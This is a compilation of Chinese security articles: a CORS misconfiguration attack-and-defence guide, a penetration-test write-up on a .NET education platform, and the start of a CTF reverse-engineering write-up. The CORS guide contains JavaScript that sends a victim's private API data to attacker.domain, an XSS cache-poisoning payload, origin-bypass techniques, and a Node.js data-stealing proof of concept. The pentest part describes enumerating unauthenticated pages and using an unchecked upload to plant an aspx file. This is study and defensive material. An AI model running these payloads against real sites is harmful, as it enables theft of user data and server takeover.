## 1.1 _谁应该去读这个文章
这个文章面向所有人：网站管理员，程序员，渗透测试，赏金猎人还有安全专家。
在这个文章种将会找到：
* 同源策略和跨域资源共享(cors)介绍摘要
* 主要内容，cors漏洞攻击从入门到精通
* cors安全规范
# 2\. 跨域资源共享(cors)
跨域资源共享(cors)可以放宽浏览器的同源策略，可以通过浏览器让不同的网站和不同的服务器之间通信。
## 2.1 同源策略
同源策略在浏览器安全中是一种非常重要的概念，大量的客户端脚本支持同源策略，比如JavaScript。
同源策略允许运行在页面的脚本可以无限制的访问同一个网站（同源）中其他脚本的任何方法和属性。当不同网站页面（非同源）的脚本试图去互相访问的时候，大多数的方法和属性都是被禁止的。
这个机制对于现代web应用是非常重要的，因为他们广泛的依赖http
cookie来维护用户权限，服务器端会根据cookie来判断客户端是否合法，是否能发送机密信息。
浏览器要严格隔离两个不同源的网站，目的是保证数据的完整性和机密性。
“同源”的定义：
* 域名
* 协议
* tcp端口号
只要以上三个值是相同的，我们就认为这两个资源是同源的。
为了更好的解释这个概念，下面这个表将利用"[http://www.example.com/dir/page.html"这个url作为示例，展示在同源策略控制下不同的结果](http://www.example.com/dir/page.html)
验证url | 结果 | 原因
---|---|---
<http://www.example.com/dir/page.html> | 成功 | 同域名，同协议，同主机
<http://www.example.com/dir2/other.html> | 成功 | 同域名，同协议，同主机
<http://www.example.com:81/dir/other.html> | 失败 | 不同端口
<https://www.example.com/dir/other.html> | 失败 | 不同协议
<http://en.example.com/dir/other.html> | 失败 | 不同主机
<http://example.com/dir/other.html> | 失败 | 不同主机
<http://v2.www.example.com/dir/other.html> | 失败 | 不同主机
下面这个图展示的是：如果不启用cors的时候，恶意脚本发出一个请求之后发生的事情
## 2.2 cors的出现
同源策略对于大型应用有太多的限制，比如有多个子域名的情况
现在已经有大量技术可以放宽同源策略的限制，其中有一种技术就是跨域资源共享（CORS)
CORS是一种机制，这种机制通过在http头部添加字段，通常情况下，web应用A告诉浏览器，自己有权限访问应用B。这就可以用相同的描述来定义“同源”和“跨源”操作。
CORS的标准定义是:通过设置http头部字段，让客户端有资格跨域访问资源。通过服务器的验证和授权之后，浏览器有责任支持这些http头部字段并且确保能够正确的施加限制。
主要的头部字段包含：“Access-Control-Allow-Origin”
Access-Control-Allow-Origin: https://example.com
这个头部字段所列的“源”可以以访客的方式给服务器端发送跨域请求并且可以读取返回的文本，而这种方式是被同源策略所阻止的。
默认情况下，如果没有设置“Access-Control-Allow-Credentials”这个头的话，浏览器发送的请求就不会带有用户的身份数据（cookie或者HTTP身份数据），所以就不会泄露用户隐私信息。
下面这个图展示一个简单的CORS请求流：
### 2.2.1 身份数据
服务器端也会通知客户端是否发送用户的身份数据（cookie或者其他身份数据），如果http头部中的“Access-Control-Allow-Credentials”这个字段被设置“true",那么客户端身份数据就会被发送到目标的服务器上
### 2.2.2
因为请求会修改数据（通常是GET以外的方法），在发送这些复杂请求之前，浏览器会发送一个”探测“请求
cors预检的目的是为了验证CORS协议是否被理解，预检的OPTION请求包含下面三个字段
* “Access-Control-Request-Method”
* “Access-Control-Request-Headers”
* “Origin”
这些字段会被浏览器自动的发给服务器端。所以，在正常情况下，前端开发人员不需要自己指定此类请求。
如果服务器允许发送请求，那么浏览器就会发送所需的HTTP数据包。
### 2.2.3 允许多个源
协议建议，可以简单的利用空格来分隔多个源，比如：
Access-Control-Allow-Origin: https://example1.com https://example2.com
然而，没有浏览器支持这样的语法
通常利用通配符去信任所有的子域名也是不行的，比如：
Access-Control-Allow-Origin: *.example1.com
当前只支持用通配符来匹配域名，比如下面：
Access-Control-Allow-Origin: *
尽管浏览器可以支持通配符，但是不能同时将凭证标志设置成true。
就像下面这种头部配置：
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
这样配置浏览器将会报错，因为在响应具有凭据的请求时，服务器必须指定单个域，所不能使用通配符。简单的使用通配符将有效的禁用“Access-Control-Allow-Credentials”这个字段。
这些限制和行为的结果就是许多CORS的实现方式是根据“Origin”这个头部字段的值来生成“AccessControl-Allow-Origin”的值
### 2.2.4 其他相关的头部字段
还有一些关于CORS的头部字段，其中一个字段是“Vary"
根据CORS的实施标准，当”Access-Control-Allow-Origin“是被动态产生的话，就要用”Vary: Origin“去指定。
这个头部字段向客户端表明，服务器端返回内容的将根据请求中”Origin“的值发生变化。如果如果未设置此标头，则在某些情况下，它可能会被某些攻击所利用，如在下一节中描述
# 3\. _攻击技术
这部分内容是一个给安全测试专家的指导书，来帮助他们测试CORS的安全性
## 3.1 过程
三个步骤测试CORS错误配置
1. 识别
2. 分析
3. 利用
### 3.1.1 识别
首先，想要测试带有CORS缺陷应用的首先条件是要找到开启CORS的应用。
APIs一个不错的选择，因为他们经常和不同的域交换信息。因此，通常情况下，接口会暴露一些信息收集和信息枚举的功能。
通常，当服务器收到头部带有”Origin"字段的请求的时候才会配置CORS，因此才会很容易的产生很多这样类型的漏洞。
另外，如果客户端收到返回报文的头部包含“Access-Control-*”这样的字段，但是没有定义源的话，那么很可能返回报文的头部是由请求报文中“Origin”这个字段来决定的。
因此，找到候选人接口之后，就可以发送头部带有“Origin”的数据包了。测试者应该试图让“Origin”字段使用不同的值，比如不同的域名称或者”null"。最好用一些的脚本自动化的完成这些任务。
比如：
GET /handler_to_test HTTP/1.1
Host: target.domain
Origin: https://target.domain
Connection: close
然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段
HTTP/1.1 200 OK
…
Access-control-allow-credentials: true
Access-control-allow-origin: https://target.domain
…
上面的返回报文表明，这个应用中的接口已经开启了CORS这个功能。现在有必要对配置进行测试，以确定是否存在安全缺陷。
### 3.1.2 分析
识别出开启的CORS功能的接口之后，就要尽可能的分析配置，以发现正确的利用方式。
在这个阶段，开始fuzzing请求报文头部中“Origin”这个字段然后观察服务器的返回报文，目的是看哪些域是被允许的。
重要的是验证，哪种类型的控件可以被控制，应用会返回哪种头部字段。
因此，测试者应该发送发送头部字段“Origin”包含不同值的请求发送给服务器端，看看攻击者所控制的域名是否被允许。
GET /handler_to_test HTTP/1.1
Host: target.domain
Origin: https://attaker.domain
Connection: close
然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段
HTTP/1.1 200 OK
…
Access-control-allow-credentials: true
Access-control-allow-origin: https://attacker.domain
…
在这次测试示例中，服务器返回的报文头部中已经表明完全信任“attacker.domain”这个域，并且可以向这个域中发送用户凭据。
### 3.1.3 利用
经过刚才对CORS的分析，我们已经准备好去利用那些配置错误的CORS应用了。
有时，当用户凭据这个字段没有开启的时候，可能需要其他的先决条件去利用这个问题。
下面的篇幅就详细的讲解一些特殊的利用技术。
## 3.2 有用户凭据的利用
从一个攻击者角度来看，看到目标应用的“AccessControl-Allow-Credentials”设置为“true”时是非常开心的。在这种情况下，攻击者会利用配置错误去偷走受害人的隐私数据和敏感数据。
下面这个表简要说明基于CORS配置的可利用性
“Access-Control-Allow-Origin” 值 | “Access-Control-Allow-Credentials” 值 | 是否可利用
---|---|---
<https://attacker.com> | true | 是
null | true | 是
* | true | 否
### 3.2.1 泄露用户数据
当“Access-Control-Allow-Credentials”设置为Ture时，利用这种CORS这种配置缺陷的基本技术就是创建一个JavaScript脚本去发送CORS请求，就像下面那样：
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(“get”,”https://vulnerable.domain/api/private-data”,true);
req.withCredentials = true;
req.send();
function reqListener() {
location=”//attacker.domain/log?response=”+this.responseText;
};
用这样的代码黑客就可以通过有缺陷的“日志”接口偷到用户数据。
当带有目标系统用户凭据的受害者访问带有上述代码的页面的时候，浏览器就会发送下面的请求到“有漏洞服务器”
GET /api/private-data HTTP/1.1
Host: vulnerable.domain
Origin: https://attacker.domain/
Cookie: JSESSIONID=<redacted>
然后就会收到下面的返回数据
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: https://attacker.domain
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-Credentials
Vary: Origin
Expires: Thu, 01 Jan 1970 12:00:00 GMT
Last-Modified: Wed, 02 May 2018 09:07:07 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/json;charset=ISO-8859-1
Date: Wed, 02 May 2018 09:07:07 GMT
Connection: close
Content-Length: 149
{"id":1234567,"name":"Name","surname":"Surname","email":"email@target.local","account":"ACT1234567","balance":"123456,7","token":"to
p-secret-string"}
因为服务器发送了头部字段“Access-Control-Allow-*”给客户端，所以，受害者浏览器允许包含恶意JavaScript代码的页面访问用户的隐私数据。
## 3.3 没有用户凭据的利用方式
在这种情况下，目标应用允许通过发送“Origin”去影响返回头“Access-Control-Allow-Origin”的值，但是不允许传输用户凭证
下面这个表简要说明基于CORS配置的可利用性
“Access-Control-Allow-Origin” 值 | 是否可利用
---|---
<https://attacker.com> | 是
null | 是
* | 是
如果不能携带用户凭据的话，那么就会减少攻击者的攻击面，并且很明显的是，攻击者将很难拿到用户的cookie。此外，会话固定攻击也是不可行的，因为浏览器会忽略应用设置的新的cookie。
### 3.3.1 绕过基于ip的身份验证
实际的攻击中总有意外，如果目标从受害者的网络中可以到达，但使用ip地址作为身份验证的方式。这种情况通常发生在缺乏严格控制的内网中。
在这种场景下，黑客会利用受害者的浏览器作为代理去访问那些应用并且可以绕过那些基于ip的身份验证。就影响而言，这个类似于DNS重绑定，但会更容易利用。
### 3.3.2 客户端缓存中毒
这种配置允许攻击者利用其他的漏洞。
比如，一个应用返回数据报文头部中包含“X-User”这个字段，这个字段的值没有经过验证就直接输出到返回页面上。
请求：
GET /login HTTP/1.1
Host: www.target.local
Origin: https://attacker.domain/
X-User: <svg/onload=alert(1)>
返回报文（注意：“Access-Control-Allow-Origin”已经被设置，但是“Access-Control-Allow-Credentials: true”并且“Vary: Origin”头没有被设置）
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.domain/
…
Content-Type: text/html
…
Invalid user: <svg/onload=alert(1)
攻击者可以把xss的exp放在自己控制的服务器中的JavaScript代码里面然后等待受害者去触发它。
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://www.target.local/login',true);
req.setRequestHeader('X-User', '<svg/onload=alert(1)>');
req.send();
function reqListener() {
location='http://www.target.local/login';
}
如果在返回报文中头部没有设置“Vary:
Origin”，那么可以利用上面展示的例子，可以让受害者浏览器中的缓存中存储返回数据报文（这要基于浏览器的行为）并且当浏览器访问到相关URL的时候就会直接显示出来。（通过重定向来实现，可以用“reqListener()”这个方法）
如果没有CORS的话，上面的缺陷就没法利用，因为没有办法让受害者浏览器发送自定义头部，但是如果有了CORS，就可以用“XMLHttpRequest”做这个事情。
### 3.3.3 服务器端缓存中毒
另一种潜在的攻击方式是利用CORS的错误配置注入HTTP头部，这可能会被服务器端缓存下来，比如制造存储型xss
下面是攻击的利用条件：
* 存在服务器端缓存
* 能够反射“Origin“头部
* 不会检查“Origin”头部中的特殊字符，比如”\r"
有了上面的先决条件，James
Kettle展示了http头部注入的利用方式，他用这种方式攻击IE/Edge用户（因为他们使用“\r"(0x0d)作为的HTTP头部字段的终结符）
请求
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
IE处理过后返回报文
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
上面的请求不能直接拿来利用，因为攻击者没有办法保证受害者浏览器会提前发送畸形的头部。
如果攻击者能提前发送畸形的“Origin”头部，比如利用代理或者命令行的方式发送，然后服务器就会缓存这样的返回报文并且也会传递给其他人。
利用上面的例子，攻击者可以把页面的编码变成”UTF-7"，周所周知，这可能会引发xss漏洞
## 3.4 绕过技术
有时，需要信任不同的域或者所有的子域，所以开发者要用正则表达式或者其他的方法去验证有效性。
下面的部分列出了一系列的“起源”，可以用来绕过某些验证控制，以验证“起源”头的有效性。
下面的例子中的目标域一般指“target.local”。
### 3.4.1 NULL源
CORS的规范中还提到了“NULL”源。触发这个源是为了网页跳转或者是来自本地HTML文件。
目标应用可能会接收“null"源，并且这个可能被测试者（或者攻击者）利用，意外任何网站很容易使用沙盒iframe来获取”null“源
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>
使用上面的iframe产生一个请求类似于下面这样
GET /handler
Host: target.local
Origin: null
如果目标应用接收”null"源，那么服务器将返回类似下面的数据报文
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
这种错误配置经常会碰到，所以会很方便的去尝试它。
### 3.4.2 使用目标域名作为子域名
如果目标应用只检查只检查“Origin”中的字符串是否包含“target.local”，那么就可以在自己控制的服务器上创建一个子域名。
用这样的方式，请求一般产生自JavaScript代码，并且请求中的“Origin”会像下面这样
Origin: https://target.local.attacker.domain
### 3.4.3 注册一个同名的域名
假设，目标应用实现是基于下面的正则表达式去检测“Origin”头部的话：
^https?:\/\/.*\.?target\.local$
这样的正则表达式包含一个问题，导则这样的CORS配置都容易被攻击。下面表格将分解正则表达式：
Part | 描述
---|---
.* | 除了终止符的任何字符
\\. | 一个点
? | 在这里匹配一个“.”一次或者零次
这个?只影响"."这个字符串，因此在“target.local”前面的任何字符串都是被允许的，而不管是否有"."把他们分开。
因此，只需要在“origin”末尾包含目标域名就可以绕过上面的限制（这个场景的的目标域名是“
target.local”），比如：
Origin: https://nottarget.local
攻击者只需要注册一个末尾包含目标域名的新域名就可以利用这样的漏洞了。
### 3.4.4 控制目标的子域名
现在目标应用实现是基于下面的正则表达式去检测“Origin”头部的话：
^https?:\/\/(.*\.)?target\.local$
这个允许来自”target.local“的跨域访问并且包含所有的子域名（来自HTTP和HTTPS协议）。
在这个场景中，如果攻击者能控制目标的有效的子域名（比如：“subdomain.target.local”），比如接管一个子域名，或者找到一个有xss漏洞的子域名。攻击者就可以产生一个有效的CORS请求。
### 3.4.5 第三方域名
有时一些第三方域名会被允许。如果黑客能在这些域名里面上传JavaScript脚本的话，他们就可以攻击目标了。
最有代表性的例子是，Amazon S3存储桶的有时是被信任的。如果目标应用使用亚马逊的服务，那么来自亚马逊S3存储桶上的请求就会被信任。
在这种场景下，攻击者会控制一个S3的存储桶，并在上面放上恶意页面。
### 3.4.6 使用特殊的特性
Corban Leo展示了一个比较有趣的研究，他在域名中插入一些特殊的字符来绕过一些限制。
这个研究员的特殊字符法只能用在Safari浏览器上。但是，我们进行了深入的分析，显示其中一部分特殊字符串也可以用在其他的浏览器中。
这种规避技术所面临的问题是，在发送请求之前，浏览器不总是会去验证域名的有效性。因此，如果使用一些特殊的字符串，那么浏览器可能就不会提前发送请求去验证域名是否存在或者有效。
假设，目标应用实现是基于下面的正则表达式去检测“Origin”头部的话：
^https?:\/\/(.*\.)?target.local([^\.\-a-zA-Z0-9]+.*)?
上面的正则表达式的意思是,允许所有“target.local”的子域名的跨域请求，并且这些请求可以来自于子域名的任意端口。
下面是正则表达式的分解：
Part | 描述
---|---
[^\\.\\-a-zA-Z0-9] | 所有的字符串包含".","-","a-z","A-Z","0-9"
+ | 匹配前面的子表达式一次或多次
.* | 除了终止符的任何字符
这个正则表达式阻止前面例子中的攻击，因此前面的绕过技术不会起作用（除非你控制了一给合法的子域名）
下面的截屏展示了返回报文中没有“Access-Control-Allow-Origin” (ACAO) 和 “Access-Control-AllowCrendentials” (ACAC) 被设置。（使用前面的一种绕过技术）
因为，正则表达式匹配紧挨着的ASCII字母和".","-",在“target.local”后面的每一个字母都会被信任。
注意：当前浏览器只有Safari支持使用上面的域名（带“{”那个字符的），但是如果目标应用的正则表达式能够信任其他的特殊字母，那么就可以使用CORS的错误配置去攻击其他的浏览器啦。
下面这个表包含各个浏览器对特殊字符的“兼容性”
（注意：仅包含至少一个浏览器允许的特殊字符）
特殊字符 | Chrome(v 67.0.3396) | Edge(v 41.16299.371) | Firefox(v 61.0.1) |
Internet Explorer(v 11) | Safari(v 11.1.1)
---|---|---|---|---|---
! | NO | NO | NO | NO | YES
= | NO | NO | NO | NO | YES
$ | NO | NO | YES | NO | YES
& | NO | NO | NO | NO | YES
' | NO | NO | NO | NO | YES
( | NO | NO | NO | NO | YES
) | NO | NO | NO | NO | YES
* | NO | NO | NO | NO | YES
+ | NO | NO | YES | NO | YES
, | NO | NO | NO | NO | YES
- | YES | NO | YES | YES | YES
; | NO | NO | NO | NO | YES
= | NO | NO | NO | NO | YES
^ | NO | NO | NO | NO | YES
_ | YES | YES | YES | YES | YES
` | NO | NO | NO | NO | YES
{ | NO | NO | NO | NO | YES
\ | | NO | NO | NO | NO | YES
} | NO | NO | NO | NO | YES
~ | NO | NO | NO | NO | YES
利用钱的准备：
* 泛解析域名要指向你的服务器
* NodeJS：因为Apache和Nginx(开箱即用)不支持特殊的字符
创建一个serve.js 文件
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80
http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type':'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0'); console.log(`Serving on port ${port}`);
在相同的目录下创建cors.html
<html>
<head><title>CORS PoC</title></head>
<body onload="cors();">
<div align="center">
<h2>CORS Proof of Concept</h2>
<textarea rows="15" cols="70" id="container"></textarea> </div>
<script> function cors() {
var req = new XMLHttpRequest();
req.onload = reqListener; req.open("GET","http://www.target.local/api/private-data",true); req.withCredentials = true;
req.send();
function reqListener() {
document.getElementById("container").innerHTML = this.responseText; }
} </script>
现在启动NodeJS服务并且运行下面的指令：
node serve.js &
如果目标应用使用上面的表达式实现对“Origin”过滤的话，那么除了“.”
和“-“之外，“www.target.local”后面的每一个特殊字符都会被信任，因此当Safari浏览器完成的以下产生的有效请求后，攻击者能够从易受攻击的目标中窃取数据。
http://www.target.local{.<your-domain>/cors-poc
如果正则表达式支持下划线的话，那么可能其他的浏览器（在上面的表格中列出数据）也可以利用CORS配置错误了，就像下面的例子一样：
http://www.target.local_.<your-domain>/cors-poc
想要看更多关于绕过的文章可以去：<https://www.sxcurity.pro/advanced-cors-techniques/>
# 4 _防御技术
让我们的看看如何正确配置CORS才能避免让黑客从受害者中偷走敏感数据或者被攻击者利用CORS配置继续攻击
## 4.1 一般守则
下面是处理CORS配置的最佳实践
### 4.1.1 如果不必要就不要开启CORS
首先，要仔细的评估是否开启CORS。如果没有必要，建议完全避免使用它，以免削弱SOP。
### 4.1.2 定义白名单
如果是绝对必要的话，要定义“源”的白名单。我更喜欢白名单，如果可能的话，不要使用正则表达式，因为根据前面的描述，正则表达式更容易出错，导致CORS的配置错误。
不要配置“Access-Control-Allow-Origin”为通配符“*”，而且更重要的是，要严格效验来自请求数据包中的“Origin”的值。
当收到跨域请求的时候，要检查“Origin”的值是否是一个可信的源。
### 4.1.3 仅仅允许安全的协议
有必要验证协议以确保不允许来自不安全通道（HTTP）的交互，否则中间人(MitM)将绕过应用是所使用的HTTPS
### 4.1.4 配置“VARY”头部
要尽可能的返回"Vary: Origin"这个头部，以避免攻击者利用浏览器缓存
### 4.1.5 如果可能的话避免使用“CREDENTIALS”
由于“Access-Control-Allow-Credentials”标头设置为“true”时允许跨域请求中带有凭证数据，因此只有在严格必要时才应配置它。此头部也增加了CSRF攻击的风险;因此，有必要对其进行保护。
要特别关注的实现的标准，如果没有定义参数的话，那么默认值很可能是“true”。要仔细阅读官方文档，如果感觉模糊不清的话，就把值设置成“false".
### 4.1.6 限制使用的方法
通过“Access-Control-Allow-Methods”头部，还可以配置允许跨域请求的方法，这样可以最大限度地减少所涉及的方法，配置它始终是一个好习惯。
### 4.1.7 限制缓存的时间
建议通过“Access-Control-Allow-Methods”和“Access-Control-Allow-Headers”头部，限制浏览器缓存信息的时间。可以通过使用“Access-Control-Max-Age”标题来完成，该头部接收时间数作为输入，该数字是浏览器保存缓存的时间。配置相对较低的值（例如大约30分钟），确保浏览器在短时间内可以更新策略（比如允许的源）
### 4.1.8 仅配置所需要的头
最后一点，要仅在接收到跨域请求的时候才配置有关于跨域的头部，并且确保跨域请求是合法的（只允许来自合法的源）
实际上，在其他情况下，如果没有理由就不要配置这样的头部，这种方式可以减少某些用户恶意利用的可能性。
## 4.2 配置和实施
很多软件框架是允许使用CORS的，当使用这些解决方案的时候，我们要着重++注意默认值++（“origin” 和
“credentials”是否被明确的设置）因为有些默认值是不安全的
我们分析一些主要的软件框架。下面这个表是总结的结果（注意：这仅指默认配置，在所有情况下都可以以安全的方式配置它们）
# 5\. _引用：
* Mozilla MDN web docs. Cross-Origin Resource Sharing (CORS). <https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS> (Accessed 2018-30-06).
* Wikipedia. Same-origin policy. <https://en.wikipedia.org/wiki/Same-origin_policy> (Accessed 2018-30-06).
* W3C. Cross-Origin Resource Sharing. <https://www.w3.org/TR/cors/> (Accessed 2018-30-06).
* James Kettle. Exploiting CORS misconfigurations for Bitcoins and bounties. <https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties> 2018-30-06).
* Geekboy. Exploiting Misconfigured CORS (Cross Origin Resource Sharing). <https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/> (Accessed 2018-30-06)
* Yassine Aboukir. CORS Exploitation: Data exfiltration when allowed origin is set to NULL. <https://yassineaboukir.com/blog/cors-exploitation-data-exfiltration-when-allowed-origin-is-set-to-null/> (Accessed 2018-30-06).
* Corben Leo. Advanced CORS Exploitation Techniques. <https://www.sxcurity.pro/advanced-cors-techniques/> (Accessed 2018-30-06) | 社区文章 |
最近项目比较多，一个教育局的测试项目，主要目标为一个在线教育平台，经过信息搜集发现是一个开源的代码搭建的平台。能找到源码就离拿下权限不远了。这篇文章在代码审计方面没啥亮点，因为太菜了，不会.net，主要是总结一些.net快速定位漏洞的小技巧。
## 一、寻找源码
通过询问管理员知道是个开源的系统，但是管理员并不确定具体的信息，就需要我们自己去寻找版权
首页信息查看源代码，根据页面关键字去某fa搜索，确定`"/templates/web/netschool/corescripts/verify.js"`
搜出来的相同站点比较多，根据案例里的连接挨个访问，在某个站底部发现版权为某厦商学院学习平台，知道版权就很容易找到源码了。
## 二、快速审计技巧
由于我不懂.net 所以审计只能靠一些简单技巧泛泛的寻找，
### 0x01 确定路由结构
先打开aspx文件
class为song.site.Manage.Console 在bin目录下用illspy打开song.site.dll
song.site.Manage.Console 对应的url为<http://www.xxx.com/Manage/console.aspx>
这样基本就确定了路由访问,审计起来就比较方便了
### 0x02 未授权访问
发现后台部分页面存在未授权访问，对比了一下有验证和没验证的代码，但并没有发现验证信息，主要还是太菜了，不知道从哪里做的认证，只能挨个访问去判断是否为未授权，但页面太多，为了找到一个未授权的切入点，于是采用了最无脑的方法-扫目录，由于已经有了代码，所以把页面路径全部列出来做成专用字典进行跑，然后根据返回页面大小来判断是否未授权，说干就干
先用命令导出所有脚本结构
C:\Users\Administrator\Desktop\wxqysxy-a5>dir /a /s /b *.aspx
C:\Users\Administrator\Desktop\wxqysxy-a5\Pay\Weixin\NativePayPage.aspx
C:\Users\Administrator\Desktop\wxqysxy-a5\Pay\Weixin\OrderQueryPage.aspx
C:\Users\Administrator\Desktop\wxqysxy-a5\Pay\Weixin\ProductPage.aspx
C:\Users\Administrator\Desktop\wxqysxy-a5\Pay\Weixin\PublicPay.aspx
C:\Users\Administrator\Desktop\wxqysxy-a5\Pay\Weixin\RefundPage.aspx
C:\Users\Administrator\Desktop\wxqysxy-a5\Pay\Weixin\RefundQueryPage.aspx
C:\Users\Administrator\Desktop\wxqysxy-a5\Pay\Weixin\ResultNotifyPage.aspx
C:\Users\Administrator\Desktop\wxqysxy-a5\Utility\CodeImg.aspx
C:\Users\Administrator\Desktop\wxqysxy-a5\Utility\Default.aspx
把路径处理一下做成字典，然后用burp跑
页面响应比较大，说明存在未授权
页面响应为197，返回为空，说明有验证或需要构造传参
这样就找到了所有的未授权页面，然后挨个测试就可以了
### 0x03 任意文件上传
客户要求以拿权限为主，经过漫长的轮一遍未授权，并没有发现有上传的地方，只能接着去看代码找上传点了，在目录下或ilspy里搜索upload等关键字找到的页面全部都有权限验证，为了找到全部的上传功能点，我们可以直接搜SaveAs等上传函数，但iLspy对代码内容搜索功能比较鸡肋，搜索加强版也不是很好用，经过百度，把代码全部导出，然后用cmd查找关键字
这样便导出了所有的项目代码文件
然后用cmd命令查找SaveAs
C:\Users\Administrator\Desktop\shop>findstr /msi /c:"saveas" *.*
Song.Site.Manage.Admin\Setup_Qrcode.cs
Song.Site.Manage.Admin\Setup_Stamp.cs
Song.Site.Manage.Panel\Authorization.cs
Song.Site.Manage.Template\List_Edit.cs
Song.Site.Manage.Utility\ExcelInput.cs
Song.Site.Manage.Utility.UploadPath\Uploading.cs
Song.Site.Utility\ExamFileUp.cs
最终在Song.Site.Manage.Template\List_Edit.cs源码里发现了上传代码没有验证，根据代码构造上传数据包
<form id="LoginForm" action="http://x:8084/Manage/Template/List_Edit.aspx" method="post" enctype="multipart/form-data">
<div class="aspNetHidden">
<input type="text" name="org">
<input type="text" name="NSRSBH">
<input type="file" name="org">
<input type="submit" name="btn_Click" id="btn_Click">
成功上传aspx文件拿到权限。 | 社区文章 |
本文由 [@D0g3](https://www.d0g3.cn/about) 编写
i-SOON_CTF_2020 部分题目环境/源码后续将在Github开源
[项目地址](https://github.com/D0g3-Lab/)
# Re
## EasyCM_WP
#### 1.程序框架
通过TLS回调函数对程序关键加密函数进行SMC自解码，用户输入字符串，通过关键加密函数加密后与字符串比对。
#### 2.关键加密函数
通过SMC自解密后可以查看
类似base64的重组位之后查表，同时另一个线程对表进简单的换表操作，线程同步进行。
（base表被简单加密隐藏）
#### 3.反调试
静态反调试：几处花指令。
动态反调试：[CheckRemoteDebuggerPresent](https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-checkremotedebuggerpresent)
#### 3.三个TLS回调函数
进入程序有三个TLS回调函数：
##### TlsCallBack_0
这两个函数都加了花指令。
其中SMC自解码过程
##### TlsCallBack_1
##### TlsCallBack_2
#### 4.两个子线程：
1. 子线程1，对 假flag 进行初次加密 得到比较字符串。
2. 子线程2，先对程序中的一串数据进行加密后得到base表，再与主线程进行线程同步换表，且第一次换表在前。（这个线程加了花指令）
其实base表解密之后就是标准的base64码表，不过下面要变换一下。
#### 5.进入主函数
关键函数内部，因为添加花指令，循环调用关键加密函数 的部分缺失。
##### 对SMC自解码代码解密 脚本
1. IDA中 IDC对SMC自解码代码解密 脚本
//IDA中 IDC对SMC自解码代码解密 脚本
auto address_s = 0x41E000;
auto address_e = 0x41F200;
auto i = 0;
for (; address_s+i < address_e; i++){
if (i % 4 == 0){
PatchByte(address_s+i, Byte(address_s+i) ^ 'D');
}else if (i % 4 == 1){
PatchByte(address_s+i, Byte(address_s+i) ^ '0');
}else if (i % 4 == 2){
PatchByte(address_s+i, Byte(address_s+i) ^ 'g');
}else if (i % 4 == 3){
PatchByte(address_s+i, Byte(address_s+i) ^ '3');
}
}
Message("\ndone\n");
1. 或者手动对PE文件中的节区（节区名：‘.cyzcc’）数据进行解密。
（解密之后的代码也添加了花指令，需要去除一下）
##### 代码解密之后
这部分关键代码，就是对字节的 **位** 进行一个重组，之后查表，换一次表加密数据一次。
#### 6.脚本
编程语言：c
编译环境：vc++6.0
//table数组就是被加密隐藏的base表，得事先对一串数据解密后得到，我这里直接解密后贴过来了。
#include<stdio.h>
char table[150] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' };
char RTS[] = "D0g3{cyzcc_have_ten_girlfriends}";
char rra[] = { 0x23,0x7a,0x3d,0x60,0x34,0x7,0x11,0x36,0x2c,0x5,
0xc,0x20,0xb,0x22,0x3f,0x6f,0x16,0x0,0x37,0xd,
0x36,0xf,0x1e,0x20,0x37,0x14,0x2,0x9,0x2,0xf,
0x1b,0x39, };
char str[100] = {0};
int main()
{
unsigned char a = 0 ;
unsigned char b = 0 ;
unsigned char c = 0 ;
unsigned char d = 0 ;
unsigned int k = 0 ;
unsigned int i = 0 ;
for( i=0 ; RTS[i] ; i++)
RTS[i] ^= rra[i];
char* p = table;
for(int j = 0; RTS[j] ; j += 4 )
{
//这里开始循环换表
*(p+64) = *p;
p++;
for(i =0 ; i<64 ; i++)
if( RTS[j] == *(p+i) )
{
a = i;
break;
}
for(i =0 ; i<64 ; i++)
if( RTS[j+1] == *(p+i) )
{
b = i;
break;
}
for(i =0 ; i<64 ; i++)
if( RTS[j+2] == *(p+i) )
{
c = i;
break;
}
for(i =0 ; i<64 ; i++)
if( RTS[j+3] == *(p+i) )
{
d = i;
break;
}
k = (j/4)*3;
str[k+0] = a<<2&0xC0 | c<<2&0x30 | d>>2&0xC | b&0x3;
str[k+1] = b<<2&0xC0 | a<<2&0x30 | d>>0&0xC | c&0x3;
str[k+2] = c<<2&0xC0 | b<<2&0x30 | d<<2&0xC | a&0x3;
}
printf("%s\n",str);
return 0;
}
## anxun3
#### 题目说明
美好的愿望送给所有道格兄弟
#### 题目分析
这道题是个去了符号表的mips程序
首先建议使用ghidra和ida联合分析
使用的知识点为
strcmp函数,只对比第二个字符串的长度,也就是代表,只对比前面的字符串
strstr,寻找第一个出现字符串的位置
